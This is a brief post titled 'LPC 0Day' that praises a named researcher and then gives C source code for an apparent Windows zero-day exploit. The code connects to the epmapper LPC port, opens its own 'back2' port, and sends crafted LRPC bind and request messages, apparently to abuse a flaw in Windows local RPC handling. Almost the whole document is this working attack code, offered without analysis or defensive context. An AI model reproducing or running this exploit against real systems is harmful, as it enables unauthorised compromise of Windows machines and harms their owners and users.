LPC 0Day
膜拜袁哥。
#include <windows.h> #include <stdio.h> //#include "ntdll.h" //#pragma comment(lib,"ntdll.lib") #pragma comment(lib,"advapi32.lib") typedef enum _PROCESSINFOCLASS { ProcessDebugPort=7// 7 Y Y } PROCESSINFOCLASS; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING ,*PUNICODE_STRING; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; }CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID; #define PORT_NAME_LEN 64 #define LRPC_CONNECT_REQUEST 0 #define LPC_CONNECTION_REQUEST 10 #define offset 0x100+0x4-0x6*4 #define MAXLEN 0x148 #define BACKNAME L"\\RPC Control\\back2" #define RPCLPCNAME L"\\RPC Control\\epmapper" #define BINDNAME L"back2" typedef struct _LRPC_BIND_EXCHANGE { INT ConnectType ; DWORD AssocKey ; char szPortName[PORT_NAME_LEN] ; RPC_SYNTAX_IDENTIFIER InterfaceId; RPC_SYNTAX_IDENTIFIER TransferSyntax; RPC_STATUS RpcStatus; unsigned char fBindBack ; unsigned char fNewSecurityContext ; unsigned char fNewPresentationContext; unsigned char PresentationContext; unsigned char Pad[3]; unsigned long SecurityContextId; } LRPC_BIND_EXCHANGE; typedef struct _LPC_MESSAGE { USHORT DataSize; USHORT MessageSize; USHORT MessageType; USHORT DataInfoOffset; CLIENT_ID ClientId; ULONG MessageId; ULONG SectionSize; // UCHAR Data[]; }LPC_MESSAGE, *PLPC_MESSAGE; typedef struct _OBJECT_ATTRIBUTES { DWORD Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; DWORD Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; }OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES; typedef DWORD (CALLBACK * NTCREATEPORT)( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectInfoLength, IN ULONG MaxDataLength, IN OUT PULONG Reserved OPTIONAL ); typedef DWORD (CALLBACK * NTREPLYWAITRECVIVEPORT)( IN HANDLE PortHandle, OUT PHANDLE ReceivePortHandle OPTIONAL, IN PLPC_MESSAGE Reply OPTIONAL, OUT PLPC_MESSAGE IncomingRequest ); typedef DWORD (CALLBACK * NTACCEPTCONNECTPORT) ( OUT PHANDLE PortHandle, IN PVOID PortContext OPTIONAL, IN PLPC_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, IN OUT int int1, // IN OUT PPORT_VIEW ServerView OPTIONAL, OUT int int2 //OUT PREMOTE_PORT_VIEW ClientView OPTIONAL ); typedef DWORD (CALLBACK * NTCONNECTPORT)( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT int int1, // IN OUT PPORT_VIEW ClientView OPTIONAL, IN OUT int int2, // IN OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL, IN OUT PVOID ConnectionInformation OPTIONAL, IN OUT PULONG ConnectionInformationLength OPTIONAL ); typedef DWORD (CALLBACK *NTREQUESTWAITREPLYPORT)( // NtRequestWaitReplyPort( IN HANDLE PortHandle, IN PLPC_MESSAGE Request, OUT PLPC_MESSAGE IncomingReply ); typedef DWORD (CALLBACK *NTCOMPLETECONNECTPORT) ( IN HANDLE PortHandle ); typedef DWORD (CALLBACK *RTLINITUNICODESTRING)( PUNICODE_STRING DestinationString, PCWSTR SourceString ); typedef DWORD (CALLBACK * NTREPLYPORT)( IN HANDLE PortHandle, IN PLPC_MESSAGE Reply ); typedef DWORD (CALLBACK * NTSETINFORMATIONPROCESS)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); typedef struct _DEBUG_MESSAGE { LPC_MESSAGE PORT_MSG; DEBUG_EVENT DebugEvent; }DEBUG_MESSAGE, *PDEBUG_MESSAGE; NTSETINFORMATIONPROCESS NtSetInformationProcess; NTREPLYWAITRECVIVEPORT NtReplyWaitReceivePort; NTCREATEPORT NtCreatePort; NTREPLYPORT NtReplyPort; NTCONNECTPORT NtConnectPort; RTLINITUNICODESTRING RtlInitUnicodeString; NTREQUESTWAITREPLYPORT NtRequestWaitReplyPort; NTACCEPTCONNECTPORT NtAcceptConnectPort; NTCOMPLETECONNECTPORT NtCompleteConnectPort; template <int i> struct PORT_MESSAGEX : LPC_MESSAGE { UCHAR Data[i]; }; PROCESS_INFORMATION pi; int server(); void initapi(); int main() { // LPC_MESSAGE Reply; // HMODULE hNtdll; // DWORD dwAddrList[9]; BOOL bExit = FALSE; // DWORD dwRet; // HANDLE hPort; int k=0; unsigned long i; // DEBUG_MESSAGE dm; OBJECT_ATTRIBUTES oa = {sizeof(oa)}; PORT_MESSAGEX<0x130> PortReply,PortRecv; STARTUPINFO si={sizeof(si)}; // NTSTATUS int Status; PLPC_MESSAGE Request; // PLPC_MESSAGE IncomingReply; LPC_MESSAGE Message; HANDLE LsaCommandPortHandle; UNICODE_STRING LsaCommandPortName; SECURITY_QUALITY_OF_SERVICE DynamicQos; LRPC_BIND_EXCHANGE BindExchange; DWORD Key=0x11223344; unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE); BindExchange.ConnectType = LRPC_CONNECT_REQUEST ; BindExchange.AssocKey = Key; // wcscpy((wchar_t *)&(BindExchange.szPortName),BINDNAME); DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation; DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING; DynamicQos.EffectiveOnly = TRUE; initapi(); printf( "\r\nwindows lpc test!\r\n"); CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)server,0,0,&i); // // Connect to the Reference Monitor Command Port. This port // is used to send commands from the LSA to the Reference Monitor. // RtlInitUnicodeString( &LsaCommandPortName,RPCLPCNAME); Status = NtConnectPort( &LsaCommandPortHandle, &LsaCommandPortName, &DynamicQos, NULL, NULL, NULL, // &maxlen, &BindExchange, &BindExchangeLength); if ((Status)) { exit(Status); //print(("LsapRmInitializeServer - Connect to Rm Command Port failed 0x%lx\n",Status)); // goto InitServerError; } // exit(0); /* //create port dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0); if(dwRet != 0) { printf("create hPort failed. ret=%.8X\n", dwRet); return 0; } //create process if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, 0, 0, &si, &pi)) { printf("CreateProcess failed:%d\n", GetLastError()); return 0; } //set debug port dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort, &hPort, sizeof(hPort)); if(dwRet != 0) { printf("set debug port error:%.8X\n", dwRet); return 0; } //printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort); ResumeThread(pi.hThread); */ while (true) { memset(&Message, 0, sizeof(Message)); Message.MessageSize=0x118; Message.DataSize=0x100; Message.MessageId=0x1122; Request=&Message; memset(&PortReply, 0, sizeof(PortReply)); // memcpy(&PortReply, &dm, sizeof(dm)); memset(&PortReply, 0, sizeof(PortReply)); // memcpy(&PortReply, &dm, sizeof(dm)); PortReply.MessageSize = 0x100; PortReply.DataSize = 0x100-0x18; PortReply.MessageType=0; PortReply.MessageId=0x1122; PortReply.Data[0]=0x0b; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0; wcscpy((wchar_t *)&(PortReply.Data[0x10]),BINDNAME); Sleep(1000); Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply); // memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList)); PortReply.MessageSize = 0xa0; PortReply.DataSize = 0xa0-0x18; PortReply.MessageType=0; PortReply.MessageId=0x1122; PortReply.Data[0]=0x0; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0; memcpy((unsigned char *)&(PortReply.Data[0x0c]), "\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00",0x20); //"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00",0x20); // memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList)); _asm{ // die: jmp die } Sleep(1000); Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply); BindExchange=*(LRPC_BIND_EXCHANGE *)&(PortRecv.Data[8]); if (!(Status)) { while(1){ PortReply.MessageSize = 0x100; PortReply.DataSize = 0x100-0x18; PortReply.MessageType=0; PortReply.MessageId=PortRecv.MessageId; PortReply.Data[0]=0x01; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0x3; PortReply.Data[5]=0; PortReply.Data[6]=0; *(int *)(&(PortReply.Data[0x18]))=*(int *)(&(PortRecv.Data[0x30])); _asm{ // die: jmp die } Sleep(100); Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply); Sleep(0x7fffffff); } } } return 0; } int server() { BOOL bExit = FALSE; DWORD dwRet; // HANDLE hPort; int k=0; unsigned long maxlen; // DEBUG_MESSAGE dm; OBJECT_ATTRIBUTES oa = {sizeof(oa)}; PORT_MESSAGEX<0x130> PortReply,PortRecv; STARTUPINFO si={sizeof(si)}; // NTSTATUS int Status; PLPC_MESSAGE Request; PLPC_MESSAGE IncomingReply; LPC_MESSAGE Message; HANDLE BackPortHandle,NewHandle,NewAccHandle; UNICODE_STRING BackPortName; SECURITY_QUALITY_OF_SERVICE DynamicQos; LRPC_BIND_EXCHANGE BindExchange; DWORD Key=0x11223344; unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE); BindExchange.ConnectType = LRPC_CONNECT_REQUEST ; BindExchange.AssocKey = Key; DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation; DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING; DynamicQos.EffectiveOnly = TRUE; RtlInitUnicodeString( &BackPortName,BACKNAME); memset(&oa,0,sizeof(oa)); oa.Length=0x18; oa.ObjectName=&BackPortName; oa.Attributes=0x40; //InitializeObjectAttributes(&oa,&BackPortName,0x40,0,0); //OBJ_CASE_INSENSITIVE,0,0); //SecurityDescriptor); //create port dwRet = NtCreatePort(&BackPortHandle, &oa, sizeof(LRPC_BIND_EXCHANGE),MAXLEN, 0); if(dwRet != 0) { printf("create hPort failed. ret=%.8X\n", dwRet); // return 0; } while (true) { memset(&Message, 0, sizeof(Message)); Message.MessageSize=0x118; Message.DataSize=0x100; Message.MessageId=0x11; Request=&Message; memset(&PortReply, 0, sizeof(PortReply)); // memcpy(&PortReply, &dm, sizeof(dm)); PortReply.MessageSize = 0x148; PortReply.DataSize = 0x130; PortReply.MessageType=0; PortReply.Data[0]=0x0b; PortReply.Data[1]=0; PortReply.Data[2]=0; PortReply.Data[3]=0; PortReply.Data[4]=0; // memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList)); Status=NtReplyWaitReceivePort(BackPortHandle,0,0,&PortRecv); //Reply); if(PortRecv.MessageType==LPC_CONNECTION_REQUEST) { Status=NtAcceptConnectPort(&NewAccHandle, 0, &PortRecv,1, NULL, NULL); Status=NtCompleteConnectPort (NewAccHandle); memset(&PortRecv, 0, sizeof(PortRecv)); Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv); while(1) { PortRecv.MessageSize = 0x148; PortRecv.DataSize = 0x130; // PortReply.MessageId=PortRecv.MessageId; _asm{ //die: jmp die } Status=NtReplyWaitReceivePort(NewAccHandle,0,&PortRecv,&PortRecv); //&PortReply,&PortRecv); Sleep(100); Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv); } } } } void initapi() { HMODULE hNtdll; //get native api address hNtdll = LoadLibrary("ntdll.dll"); if(hNtdll == NULL) { printf("LoadLibrary failed:%d\n", GetLastError()); } NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT) GetProcAddress(hNtdll, "NtReplyWaitReceivePort"); NtCreatePort = (NTCREATEPORT) GetProcAddress(hNtdll, "NtCreatePort"); NtReplyPort = (NTREPLYPORT) GetProcAddress(hNtdll, "NtReplyPort"); NtSetInformationProcess = (NTSETINFORMATIONPROCESS) GetProcAddress(hNtdll, "NtSetInformationProcess"); NtRequestWaitReplyPort= (NTREQUESTWAITREPLYPORT) GetProcAddress(hNtdll,"NtRequestWaitReplyPort"); NtConnectPort = (NTCONNECTPORT) GetProcAddress(hNtdll, "NtConnectPort"); NtCompleteConnectPort = (NTCOMPLETECONNECTPORT) GetProcAddress(hNtdll, "NtCompleteConnectPort"); NtAcceptConnectPort = (NTACCEPTCONNECTPORT) GetProcAddress(hNtdll, "NtAcceptConnectPort"); RtlInitUnicodeString=(RTLINITUNICODESTRING) GetProcAddress(hNtdll,"RtlInitUnicodeString"); }